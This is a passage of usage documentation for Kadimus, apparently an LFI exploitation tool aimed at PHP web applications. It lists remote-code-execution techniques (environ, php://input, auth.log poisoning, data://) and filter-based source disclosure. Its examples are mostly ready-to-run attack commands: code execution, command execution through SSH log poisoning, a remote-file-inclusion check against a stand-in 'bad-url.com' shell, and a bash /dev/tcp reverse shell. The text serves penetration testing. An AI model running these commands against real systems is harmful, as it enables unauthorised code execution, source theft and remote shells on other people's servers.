    RCE Available techniques

      environ                   Try run PHP Code using /proc/self/environ
      input                     Try run PHP Code using php://input
      auth                      Try run PHP Code using /var/log/auth.log
      data                      Try run PHP Code using data://text

    Source Disclosure:
      -G, --get-source          Try get the source files using filter://
      -f, --filename STRING     Set filename to grab source [REQUIRED]
      -O FILE                   Set output file (Default: stdout)


Examples:

Scanning:
./kadimus -u localhost/?pg=contact -A my_user_agent
./kadimus -U url_list.txt --threads 10 --connect-timeout 10 --retry-times 0

Get source code of file:
./kadimus -t localhost/?pg=contact -G -f "index.php" -O local_output.php --inject-at pg

Execute php code:
./kadimus -t localhost/?pg=php://input -C '<?php echo "pwned"; ?>' -X input

Execute command:
./kadimus -t localhost/?pg=/var/log/auth.log -X auth -c 'ls -lah' --ssh-target localhost

Checking for RFI:
You can also check for RFI errors, just put the remote url on resource/common_files.txt and the regex to identify this, example:
/* http://bad-url.com/shell.txt */ <?php echo base64_decode("c2NvcnBpb24gc2F5IGdldCBvdmVyIGhlcmU="); ?>
in file:
http://bad-url.com/shell.txt?:scorpion say get over here

Reverse shell:
./kadimus -t localhost/?pg=contact.php -Xdata --inject-at pg -r -l 12345 -c 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1' --retry-times 0
